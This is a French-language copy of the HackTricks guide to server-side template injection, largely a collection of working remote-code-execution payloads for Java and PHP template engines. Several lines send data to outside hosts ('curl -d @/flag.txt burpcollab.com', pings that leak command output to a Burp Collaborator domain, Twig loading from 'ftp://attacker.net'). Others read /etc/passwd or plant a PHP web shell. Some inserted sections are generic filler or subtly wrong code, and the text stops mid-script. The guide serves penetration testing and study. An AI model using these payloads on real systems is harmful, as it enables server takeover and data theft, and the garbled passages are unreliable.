hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

61 KiB
Raw Blame History

SSTI (Injection de modèle côté serveur)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON est l'événement le plus important en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.

{% embed url="https://www.rootedcon.com/" %}

Qu'est-ce que l'injection de modèle côté serveur ?

Une injection de modèle côté serveur se produit lorsque un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge utile malveillante dans un modèle, qui est ensuite exécuté côté serveur.

Les moteurs de modèle sont conçus pour générer des pages web en combinant des modèles fixes avec des données volatiles. Les attaques d'injection de modèle côté serveur peuvent se produire lorsque l'entrée utilisateur est concaténée directement dans un modèle, plutôt que transmise en tant que données. Cela permet aux attaquants d'injecter des directives de modèle arbitraires afin de manipuler le moteur de modèle, leur permettant souvent de prendre le contrôle complet du serveur.

Un exemple de code vulnérable est le suivant :

$output = $twig->render("Dear " . $_GET['name']);

Dans l'exemple précédent, une partie du modèle lui-même est générée dynamiquement en utilisant le paramètre GET name. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer une charge utile d'injection de modèle côté serveur dans le paramètre name de la manière suivante :

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construction d'une attaque d'injection de modèle côté serveur

Détection

Comme pour toute vulnérabilité, la première étape vers l'exploitation consiste à la trouver. Peut-être la méthode la plus simple consiste à essayer de fuzzer le modèle en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte ${{<%[%'"}}%\.
Pour vérifier si le serveur est vulnérable, vous devez repérer les différences entre la réponse avec des données régulières sur le paramètre et la charge utile donnée.
Si une erreur est renvoyée, il sera assez facile de déterminer que le serveur est vulnérable et même quel moteur est utilisé. Mais vous pouvez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il reflète la charge utile donnée et qu'il ne le fait pas ou s'il manque certains caractères dans la réponse.

Détection - Contexte en texte brut

L'entrée donnée est rendue et reflétée dans la réponse. Cela peut facilement être confondu avec une vulnérabilité XSS (cross-site scripting) simple, mais il est facile de faire la différence si vous essayez d'effectuer des opérations mathématiques dans une expression de modèle :

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Détecter - Contexte du code

Dans ces cas, l'entrée de l'utilisateur est placée à l'intérieur d'une expression de modèle :

engine.render("Hello {{"+greeting+"}}", data)

L'accès à l'URL de cette page pourrait être similaire à : http://vulnerable-website.com/?greeting=data.username

Si vous changez le paramètre greeting pour une valeur différente, la réponse ne contiendra pas le nom d'utilisateur, mais si vous accédez à quelque chose comme : http://vulnerable-website.com/?greeting=data.username}}hello, la réponse contiendra le nom d'utilisateur (si les caractères de fermeture de l'expression de modèle étaient }}).
Si une erreur se produit lors de ces tests, il sera plus facile de trouver que le serveur est vulnérable.

Identification

Une fois que vous avez détecté le potentiel d'injection de modèle, l'étape suivante consiste à identifier le moteur de modèle.
Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.

Si vous avez de la chance, le serveur affichera les erreurs et vous pourrez trouver le moteur utilisé à l'intérieur des erreurs. Voici quelques charges utiles possibles qui peuvent provoquer des erreurs :

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Sinon, vous devrez tester manuellement différentes charges utiles spécifiques à chaque langage et étudier comment elles sont interprétées par le moteur de modèle. Une façon courante de procéder consiste à injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire à celui-ci :

Exploitation

Lecture

La première étape après avoir trouvé une injection de modèle et identifié le moteur de modèle consiste à lire la documentation. Les domaines clés d'intérêt sont :

  • Les sections "Pour les auteurs de modèles" qui couvrent la syntaxe de base.
  • Les "Considérations de sécurité" - il est probable que la personne qui a développé l'application que vous testez ne les a pas lues, et elles peuvent contenir des indications utiles.
  • Les listes de méthodes, fonctions, filtres et variables intégrées.
  • Les listes d'extensions/plugins - certaines peuvent être activées par défaut.

Exploration

En supposant qu'aucune exploitation ne se soit présentée, l'étape suivante consiste à explorer l'environnement pour savoir exactement à quoi vous avez accès. Vous pouvez vous attendre à trouver à la fois des objets par défaut fournis par le moteur de modèle et des objets spécifiques à l'application transmis au modèle par le développeur. De nombreux systèmes de modélisation exposent un objet "self" ou un objet d'espace de noms contenant tout ce qui est en scope, ainsi qu'une manière idiomatique de lister les attributs et méthodes d'un objet.

S'il n'y a pas d'objet self intégré, vous devrez deviner les noms de variables en utilisant SecLists et la collection de listes de mots de passe de Burp Intruder.

Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents modèles au sein d'une application, il est donc préférable d'appliquer ce processus à chaque modèle distinct individuellement.

Attaque

À ce stade, vous devriez avoir une idée précise de la surface d'attaque à votre disposition et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour trouver des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application dans son ensemble - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples qui suivent utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture arbitraire de fichiers, l'inclusion de fichiers distants, la divulgation d'informations et l'escalade de privilèges.

Outils

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Exploits

Générique

Dans cette liste de mots, vous pouvez trouver les variables définies dans les environnements de certains moteurs mentionnés ci-dessous :

Java

Java - Injection basique

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Récupérer les variables d'environnement du système

Lors de l'évaluation de la sécurité d'une application, il peut être utile de récupérer les variables d'environnement du système sur lequel l'application est exécutée. Cela peut fournir des informations précieuses pour comprendre l'environnement dans lequel l'application est déployée.

En Java, vous pouvez utiliser la classe System pour accéder aux variables d'environnement du système. La méthode getenv() de cette classe renvoie un objet Map contenant toutes les variables d'environnement.

Voici un exemple de code qui récupère et affiche les variables d'environnement du système :

import java.util.Map;

public class SystemEnvironmentVariables {
    public static void main(String[] args) {
        Map<String, String> env = System.getenv();
        for (Map.Entry<String, String> entry : env.entrySet()) {
            System.out.println(entry.getKey() + " = " + entry.getValue());
        }
    }
}

Ce code utilise la méthode entrySet() pour itérer sur toutes les entrées de la carte des variables d'environnement. Chaque entrée est ensuite affichée à l'aide de la méthode println().

Lors de l'exécution de ce code, vous verrez s'afficher les noms et les valeurs des variables d'environnement du système.

Il est important de noter que l'accès aux variables d'environnement peut être limité en fonction des autorisations de l'application. Assurez-vous d'avoir les droits nécessaires pour accéder à ces informations.

${T(java.lang.System).getenv()}

Java - Récupérer /etc/passwd

Description

Cette technique de piratage concerne l'injection de modèle côté serveur (Server-Side Template Injection - SSTI). Elle permet à un attaquant d'exécuter du code malveillant sur le serveur en exploitant une vulnérabilité dans le système de gestion de modèles utilisé par l'application web.

L'injection de modèle côté serveur se produit lorsque l'application web utilise un moteur de modèle qui permet l'exécution de code arbitraire. L'attaquant peut exploiter cette vulnérabilité en injectant du code malveillant dans les modèles de l'application, ce qui permet d'exécuter des commandes système sur le serveur.

Dans cet exemple, nous allons utiliser Java pour exploiter une vulnérabilité de SSTI et récupérer le fichier /etc/passwd du serveur.

Exploitation

Pour exploiter cette vulnérabilité, nous devons identifier l'endroit où l'injection de modèle se produit dans l'application web. Cela peut être un champ de formulaire, un paramètre d'URL ou tout autre endroit où l'application utilise un moteur de modèle.

Une fois que nous avons identifié l'endroit de l'injection de modèle, nous pouvons utiliser une syntaxe spécifique pour exécuter du code Java. Dans cet exemple, nous utiliserons la syntaxe Freemarker, un moteur de modèle populaire en Java.

Voici un exemple de code Java qui exploite la vulnérabilité de SSTI et récupère le fichier /etc/passwd :

import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;

public class SSTIExploit {
    public static void main(String[] args) throws Exception {
        Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
        cfg.setClassForTemplateLoading(SSTIExploit.class, "/");
        
        Template template = cfg.getTemplate("{{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/cat /etc/passwd')}}");
        
        StringWriter writer = new StringWriter();
        Map<String, Object> data = new HashMap<>();
        template.process(data, writer);
        
        System.out.println(writer.toString());
    }
}

Ce code utilise Freemarker pour injecter du code Java malveillant dans le modèle. Lorsque le modèle est traité, la méthode exec de la classe Runtime est appelée pour exécuter la commande système /bin/cat /etc/passwd. Le résultat est ensuite affiché dans la console.

Prévention

Pour prévenir les attaques de SSTI, il est important de :

  • Utiliser des moteurs de modèle sécurisés qui n'autorisent pas l'exécution de code arbitraire.
  • Valider et filtrer les entrées utilisateur pour éviter les injections de modèle.
  • Mettre à jour régulièrement les bibliothèques et les frameworks utilisés par l'application pour bénéficier des dernières corrections de sécurité.

Il est également recommandé de réaliser des tests de pénétration réguliers pour identifier et corriger les vulnérabilités de SSTI dans l'application web.

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Vous pouvez essayer vos charges utiles sur https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Rien
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Contournement du bac à sable

⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Plus d'informations

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Plus d'informations

Thymeleaf (Java)

L'expression de test typique pour SSTI est ${7*7}. Cette expression fonctionne également avec Thymeleaf. Si vous souhaitez obtenir une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :

  • SpringEL : ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL : ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression à un autre endroit dans le modèle, Thymeleaf prend en charge l'insertion d'expression. Pour utiliser cette fonctionnalité, vous devez placer une expression entre [[...]] ou [(...)] (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait [[${7*7}]].

Cependant, il est très peu probable que la charge utile de détection ci-dessus fonctionne. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, n'autorise pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne à la volée, il devrait créer son propre TemplateResolver. Cela est possible mais se produit très rarement.

Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée prétraitement des expressions. Les expressions placées entre deux tirets bas (__...__) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression lors du traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf :

#{selection.__${sel.code}__}

Exemple vulnérable

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Plus d'informations

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Framework Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Contourner les filtres

Plusieurs expressions de variables peuvent être utilisées, si ${...} ne fonctionne pas, essayez #{...}, *{...}, @{...} ou ~{...}.

  • Lire /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personnalisé pour la génération de la charge utile
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Plus d'informations

Manipulation de la vue Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ancienne version de Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nouvelle version de Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava is a powerful and flexible template engine for Java applications. It allows you to dynamically generate HTML, XML, JSON, and other text-based formats by combining templates with data. Jinjava supports a wide range of features, including conditionals, loops, filters, and macros, making it a versatile tool for server-side template injection (SSTI) attacks.

Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an application allows user-supplied input to be directly embedded in a server-side template. This can lead to remote code execution (RCE) if an attacker is able to inject malicious code into the template.

Exploiting SSTI with Jinjava

To exploit SSTI using Jinjava, you need to identify the injection point in the application where user input is being used in a template. Once you have identified the injection point, you can attempt to inject Jinjava expressions or code snippets to execute arbitrary commands on the server.

Here are some common techniques used to exploit SSTI with Jinjava:

  1. Expression Injection: Injecting Jinjava expressions to manipulate data or execute functions within the template.
  2. Code Execution: Injecting Jinjava code snippets to execute arbitrary commands on the server.
  3. File Inclusion: Exploiting Jinjava's file inclusion feature to read sensitive files on the server.
  4. Command Injection: Injecting Jinjava expressions or code snippets that execute system commands on the server.

Prevention and Mitigation

To prevent SSTI vulnerabilities in applications that use Jinjava, it is important to follow secure coding practices:

  1. Input Validation: Always validate and sanitize user input before using it in a template.
  2. Contextual Output Encoding: Encode user-supplied data appropriately based on the context in which it is used.
  3. Template Sandbox: Limit the capabilities of the template engine by sandboxing it to restrict access to sensitive resources.
  4. Least Privilege: Ensure that the application's server-side code has the least privilege necessary to perform its functions.

By following these best practices, you can reduce the risk of SSTI vulnerabilities and protect your application from potential attacks.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava est un projet open source développé par Hubspot, disponible sur https://github.com/HubSpot/jinjava/

Jinjava - Exécution de commandes

Corrigé par https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Plus d'informations

Hubspot - HuBL (Java)

  • Délimiteurs d'instructions {% %}
  • Délimiteurs d'expressions {{ }}
  • Délimiteurs de commentaires {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le projet Jinjava sur Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Plus d'informations

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). L'EL est utilisé par plusieurs technologies JavaEE, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de contextes et de dépendances pour Java EE (CDI).
Consultez la page suivante pour en savoir plus sur l'exploitation des interpréteurs EL :

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Ce contournement du gestionnaire de sécurité a été pris à partir de cette analyse.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Plus d'informations

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Erreur
  • {{foobar}} Rien
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Twig - Format de template

Twig est un moteur de template populaire utilisé dans de nombreux frameworks PHP tels que Symfony. Il offre une syntaxe simple et expressive pour générer des pages web dynamiques.

Les fichiers de template Twig ont une extension .twig et peuvent contenir du code HTML ainsi que des balises spéciales Twig. Ces balises spéciales permettent d'insérer des variables, d'effectuer des boucles et des conditions, et d'inclure d'autres fichiers de template.

Voici un exemple de fichier de template Twig :

<!DOCTYPE html>
<html>
<head>
    <title>{{ title }}</title>
</head>
<body>
    <h1>Bienvenue sur {{ title }}</h1>
    
    <ul>
        {% for item in items %}
            <li>{{ item }}</li>
        {% endfor %}
    </ul>
    
    {% if isAdmin %}
        <p>Vous êtes un administrateur.</p>
    {% else %}
        <p>Vous êtes un utilisateur normal.</p>
    {% endif %}
</body>
</html>

Dans cet exemple, les balises {{ title }}, {{ item }}, {% for item in items %}, {% endfor %}, {% if isAdmin %}, et {% else %} sont des balises spéciales Twig. Elles seront évaluées et remplacées par les valeurs correspondantes lors de la génération de la page web.

Les attaques de type Server-Side Template Injection (SSTI) peuvent se produire lorsque des entrées utilisateur sont directement incluses dans des fichiers de template Twig sans être correctement filtrées ou échappées. Cela peut permettre à un attaquant d'exécuter du code arbitraire sur le serveur.

Il est donc important de toujours valider et filtrer les entrées utilisateur avant de les inclure dans des fichiers de template Twig.

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Plus d'informations

Plates (PHP)

Plates est inspiré de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.

controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Modèle de page :

<!DOCTYPE html>
<html>
<head>
    <title>Mon site web</title>
</head>
<body>
    <h1>Bienvenue sur mon site web !</h1>
    <p>Ceci est une page de démonstration.</p>
    <p>Voici quelques informations sur moi :</p>
    <ul>
        <li>Nom : {{ nom }}</li>
        <li>Âge : {{ age }}</li>
        <li>Email : {{ email }}</li>
    </ul>
</body>
</html>

Le modèle de page ci-dessus est un exemple simple d'une page web contenant des balises de modèle. Les balises {{ nom }}, {{ age }} et {{ email }} sont des variables qui seront remplies avec des données spécifiques lors de la génération de la page. Cependant, si ces balises sont mal utilisées ou mal protégées, elles peuvent être vulnérables à une injection de modèle côté serveur (SSTI).

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Modèle de mise en page :

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib et HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB est la même que PHPlib mais portée vers Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

SSTI (Server-Side Template Injection)

Description

The authors.php file is vulnerable to Server-Side Template Injection (SSTI) attacks. This vulnerability allows an attacker to inject malicious code into server-side templates, which are then executed by the server.

Exploitation

To exploit this vulnerability, an attacker can inject arbitrary code into the authors.php file. This can be done by manipulating user input or by directly modifying the file.

Once the malicious code is injected, it will be executed by the server, allowing the attacker to perform various actions, such as accessing sensitive information, executing system commands, or even gaining remote code execution.

Prevention

To prevent SSTI attacks, it is important to properly validate and sanitize user input before using it in server-side templates. This can be done by implementing input validation and output encoding techniques.

Additionally, it is recommended to use a secure template engine that automatically escapes user input, such as Twig or Django templates.

Conclusion

Server-Side Template Injection is a serious vulnerability that can lead to various security risks. By understanding how this vulnerability works and implementing proper security measures, developers can protect their applications from potential attacks.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
